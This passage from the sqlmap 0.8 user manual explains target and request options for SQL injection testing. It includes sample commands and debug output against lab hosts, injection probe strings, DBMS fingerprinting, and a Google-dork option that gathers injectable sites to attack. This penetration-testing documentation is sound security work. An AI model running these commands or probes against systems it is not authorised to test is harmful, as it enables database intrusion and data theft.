</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>2</bf>):
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2
|
|
|
|
[hh:mm:22] [DEBUG] initializing the configuration
|
|
[hh:mm:22] [DEBUG] initializing the knowledge base
|
|
[hh:mm:22] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:22] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:22] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:22] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:22] [DEBUG] parsing XML queries file
|
|
[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:23] [INFO] url is stable
|
|
[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:23] [DEBUG] setting match ratio to 0.743
|
|
[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:23] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:23] [INFO] testing MySQL
|
|
[hh:mm:23] [INFO] confirming MySQL
|
|
[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:23] [INFO] retrieved: 2
|
|
[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
|
|
[hh:mm:23] [INFO] the back-end DBMS is MySQL
|
|
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>3</bf>):
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3
|
|
|
|
[hh:mm:53] [DEBUG] initializing the configuration
|
|
[hh:mm:53] [DEBUG] initializing the knowledge base
|
|
[hh:mm:53] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:53] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:53] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:53] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:53] [DEBUG] parsing XML queries file
|
|
[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:53] [INFO] testing connection to the target url
|
|
[hh:mm:53] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
[...]
|
|
[hh:mm:54] [INFO] testing MySQL
|
|
[hh:mm:54] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>4</bf>):
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4
|
|
|
|
[...]
|
|
[hh:mm:20] [DEBUG] initializing the configuration
|
|
[hh:mm:20] [DEBUG] initializing the knowledge base
|
|
[hh:mm:20] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:20] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:20] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:20] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:20] [DEBUG] parsing XML queries file
|
|
[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:20] [INFO] testing connection to the target url
|
|
[hh:mm:20] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
|
|
[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Sat, 20 Feb 2010 17:43:00 GMT
|
|
Server: Apache/2.2.9
|
|
X-Powered-By: PHP/5.2.6-1+lenny4
|
|
Vary: Accept-Encoding
|
|
Content-Length: 127
|
|
Connection: close
|
|
Content-Type: text/html
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target (verbosity level <bf>5</bf>):
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5
|
|
|
|
[hh:mm:47] [DEBUG] initializing the configuration
|
|
[hh:mm:47] [DEBUG] initializing the knowledge base
|
|
[hh:mm:47] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:47] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:47] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:47] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:47] [DEBUG] parsing XML queries file
|
|
[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:47] [INFO] testing connection to the target url
|
|
[hh:mm:47] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
|
|
[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Sat, 20 Feb 2010 17:44:27 GMT
|
|
Server: Apache/2.2.9
|
|
X-Powered-By: PHP/5.2.6-1+lenny4
|
|
Vary: Accept-Encoding
|
|
Connection: close
|
|
Transfer-Encoding: chunked
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html>
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect1>Target
|
|
|
|
<p>
|
|
At least one of these options has to be specified to set the source to get
|
|
target addresses from.
|
|
|
|
<sect2>Target URL
|
|
|
|
<p>
|
|
Option: <tt>-u</tt> or <tt>-</tt><tt>-url</tt>
|
|
|
|
<p>
|
|
To run sqlmap against a single target URL.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"
|
|
|
|
[...]
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL 5
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Parse targets from Burp or WebScarab proxy logs
|
|
|
|
<p>
|
|
Option: <tt>-l</tt>
|
|
|
|
<p>
|
|
Rather than providing a single target URL, it is possible to test and
|
|
inject on HTTP requests proxied through <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
|
|
or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" name="WebScarab proxy">.
|
|
|
|
<p>
|
|
Example passing to sqlmap a WebScarab proxy <tt>conversations/</tt> folder:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -l /tmp/webscarab.log/conversations/
|
|
|
|
[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
|
|
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
|
|
[hh:mm:43] [INPUT] url 1:
|
|
GET http://172.16.213.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
|
|
c58b3780562
|
|
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
|
|
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
|
|
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
|
|
pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
|
|
do you want to test this url? [Y/n/q] n
|
|
[hh:mm:46] [INPUT] url 2:
|
|
GET http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
|
|
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
|
|
do you want to test this url? [Y/n/q] y
|
|
[hh:mm:49] [INFO] testing url http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
|
|
[hh:mm:49] [INFO] testing connection to the target url
|
|
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:50] [INFO] url is stable
|
|
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
|
|
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
|
|
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
|
|
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:29] [INFO] testing MySQL
|
|
[hh:mm:29] [INFO] retrieved: 99
|
|
[hh:mm:29] [INFO] confirming MySQL
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:29] [INFO] retrieved: 9
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Load HTTP request from a file
|
|
|
|
<p>
|
|
Option: <tt>-r</tt>
|
|
|
|
<p>
|
|
One of the possibilities of sqlmap is loading of complete HTTP
|
|
request packet stored in textual file. That way you can skip usage of
|
|
bunch of other options.
|
|
|
|
<p>
|
|
Sample content of a HTTP request file:
|
|
|
|
<tscreen><verb>
|
|
POST /sqlmap/mysql/post_int.php HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-Agent: Mozilla/4.0
|
|
|
|
id=1
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example usage:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -r request.txt
|
|
|
|
[...]
|
|
[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
|
|
[...]
|
|
[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] POST parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
|
|
[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
|
|
[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:22] [INFO] testing MySQL
|
|
[hh:mm:22] [INFO] confirming MySQL
|
|
[hh:mm:22] [INFO] retrieved: 3
|
|
[hh:mm:22] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
|
|
web application technology: PHP 5.2.4, Apache 2.2.8
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Process Google dork results as target addresses
|
|
|
|
<p>
|
|
Option: <tt>-g</tt>
|
|
|
|
<p>
|
|
It is also possible to test and inject on <tt>GET</tt> parameters on the
|
|
results of your Google dork.
|
|
|
|
<p>
|
|
This option makes sqlmap negotiate with the search engine its session
|
|
cookie to be able to perform a search, then sqlmap will retrieve Google
|
|
first 100 results for the Google dork expression with <tt>GET</tt> parameters
|
|
asking you if you want to test and inject on each possible affected URL.
|
|
|
|
<p>
|
|
Example of Google dorking with expression <tt>site:yourdomain.com
|
|
ext:php</tt>:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
|
|
|
|
[hh:mm:38] [INFO] first request to Google to get the session cookie
|
|
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
|
|
testable hosts
|
|
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
|
|
[hh:mm:40] [INFO] url 1:
|
|
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
|
|
url? [y/N/q] n
|
|
[hh:mm:43] [INFO] url 2:
|
|
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
|
|
url? [y/N/q] n
|
|
[hh:mm:42] [INFO] url 3:
|
|
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
|
|
want to test this url? [y/N/q] y
|
|
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
|
|
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:49] [INFO] url is stable
|
|
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
|
|
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
|
|
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
|
|
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
|
|
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
|
|
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
|
|
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Load options from a configuration INI file
|
|
|
|
<p>
|
|
Option: <tt>-c</tt>
|
|
|
|
<p>
|
|
It is possible to pass user's options from a configuration INI file, an
|
|
example is <tt>sqlmap.conf</tt>.
|
|
|
|
<p>
|
|
Example usage:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -c "sqlmap.conf"
|
|
|
|
[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that if you also provide other options from command line, those are
|
|
evaluated when running sqlmap and overwrite the same options, if set, in
|
|
the provided configuration file.
|
|
|
|
|
|
<sect1>Request
|
|
|
|
<p>
|
|
These options can be used to specify how to connect to the target
|
|
application.
|
|
|
|
<sect2>HTTP method: <tt>GET</tt> or <tt>POST</tt>
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-method</tt> and <tt>-</tt><tt>-data</tt>
|
|
|
|
<p>
|
|
By default the HTTP method used to perform HTTP requests is <tt>GET</tt>,
|
|
but you can change it to <tt>POST</tt> and provide the data to be sent
|
|
through <tt>POST</tt> request. Such data, being those parameters, are
|
|
tested for SQL injection like the <tt>GET</tt> parameters.
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
|
|
--data "id=1"
|
|
|
|
[hh:mm:53] [INFO] testing connection to the target url
|
|
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:54] [INFO] url is stable
|
|
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
|
|
[...]
|
|
[hh:mm:54] [INFO] testing Oracle
|
|
[hh:mm:54] [INFO] retrieved: 9
|
|
[hh:mm:54] [INFO] confirming Oracle
|
|
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: Oracle
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>HTTP <tt>Cookie</tt> header
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-cookie</tt>, <tt>-</tt><tt>-cookie-urlencode</tt> and <tt>-</tt><tt>-drop-set-cookie</tt>
|
|
|
|
<p>
|
|
This feature can be useful in two scenarios:
|
|
|
|
<itemize>
|
|
<item>The web application requires authentication based upon cookies and
|
|
you have such data.
|
|
<item>You want to test for and exploit SQL injection on such header
|
|
values.
|
|
</itemize>
|
|
|
|
<p>
|
|
The steps to go through in the second scenario are the following:
|
|
|
|
<itemize>
|
|
<item>On Firefox web browser login on the web authentication form while
|
|
dumping URL requests with <htmlurl url="http://tamperdata.mozdev.org/"
|
|
name="TamperData"> browser's extension.
|
|
<item>In the horizontal box of the extension select your authentication
|
|
transaction then in the left box on the bottom click with the right button
|
|
on the <tt>Cookie</tt> value, then click on <tt>Copy</tt> to save its
|
|
value to the clipboard.
|
|
<item>Go back to your shell and run sqlmap.
|
|
</itemize>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
|
|
"id=1" -v 1
|
|
|
|
[hh:mm:37] [INFO] testing connection to the target url
|
|
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:38] [INFO] url is stable
|
|
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that the HTTP <tt>Cookie</tt> header values are usually separated by
|
|
a <tt>;</tt> character, <bf>not</bf> by an <tt>&</tt>.
|
|
|
|
<p>
|
|
If the web application at first HTTP response has a <tt>Set-Cookie</tt>
|
|
header, sqlmap will automatically use it's value in all further HTTP
|
|
requests as the <tt>Cookie</tt> header. sqlmap will also automatically
|
|
test that value for SQL injection, except if you run it with
|
|
<tt>--drop-set-cookie</tt> option.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3
|
|
|
|
[...]
|
|
[hh:mm:39] [INFO] testing connection to the target url
|
|
[hh:mm:39] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.128:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
|
|
Connection: close
|
|
|
|
[...]
|
|
[hh:mm:40] [INFO] url is stable
|
|
[...]
|
|
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
|
|
[hh:mm:40] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.128:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Cookie: ASPSESSIONIDSABTRCAS=469
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
If you provide an HTTP <tt>Cookie</tt> header value and the target URL
|
|
sends an HTTP <tt>Set-Cookie</tt> header, sqlmap asks you which one to use
|
|
in the following HTTP requests.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"
|
|
|
|
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
|
|
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
|
|
values that you provided? [Y/n]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
sqlmap by default doesn't URL encode generated cookie injections, but you can force it by
|
|
using the <tt>-</tt><tt>-cookie-urlencode</tt> flag. Cookie content encoding is not declared
|
|
by standard in any way, so it's solely the matter of web application's behaviour.
|
|
|
|
|
|
<sect2>HTTP <tt>User-Agent</tt> header
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-user-agent</tt> and <tt>-a</tt>
|
|
|
|
<p>
|
|
By default sqlmap perform HTTP requests providing the following HTTP
|
|
<tt>User-Agent</tt> header value:
|
|
|
|
<tscreen><verb>
|
|
sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
It is possible to fake it with the <tt>-</tt><tt>-user-agent</tt> option.
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
|
|
--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
|
|
|
|
[...]
|
|
[hh:mm:02] [INFO] testing connection to the target url
|
|
[hh:mm:02] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
|
|
Connection: close
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Providing a text file, <tt>./txt/user-agents.txt</tt> or any other
|
|
file containing a list of at least one user agent, to the <tt>-a</tt>
|
|
option, sqlmap will randomly select a <tt>User-Agent</tt> from the file
|
|
and use it for all HTTP requests.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
|
|
-a "./txt/user-agents.txt"
|
|
|
|
[hh:mm:00] [DEBUG] initializing the configuration
|
|
[hh:mm:00] [DEBUG] initializing the knowledge base
|
|
[hh:mm:00] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
|
|
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
|
|
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
|
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
|
|
[hh:mm:00] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:00] [DEBUG] parsing XML queries file
|
|
[hh:mm:00] [INFO] testing connection to the target url
|
|
[hh:mm:00] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
|
Connection: close
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Note that the HTTP <tt>User-Agent</tt> header is tested against SQL
|
|
injection also if you do not overwrite the default sqlmap HTTP
|
|
<tt>User-Agent</tt> header value.
|
|
|
|
<p>
|
|
Some sites perform a server-side check on the HTTP <tt>User-Agent</tt>
|
|
header value and fail the HTTP response if a valid <tt>User-Agent</tt> is
|
|
not provided, its value is not expected or its value is blocked by a web
|
|
application firewall or similar intrusion prevention system. In this case
|
|
sqlmap will show you a message as follows:
|
|
|
|
<tscreen><verb>
|
|
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
|
|
to force the HTTP User-Agent header with option --user-agent or -a
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>HTTP <tt>Referer</tt> header
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-referer</tt>
|
|
|
|
<p>
|
|
It is possible to fake the HTTP <tt>Referer</tt> header value with this
|
|
option. By default no HTTP <tt>Referer</tt> header is sent in HTTP
|
|
requests.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
|
|
"http://www.google.com" -v 3
|
|
|
|
[...]
|
|
[hh:mm:48] [INFO] testing connection to the target url
|
|
[hh:mm:48] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Referer: http://www.google.com
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Extra HTTP headers
|
|
|
|
<p>
|
|
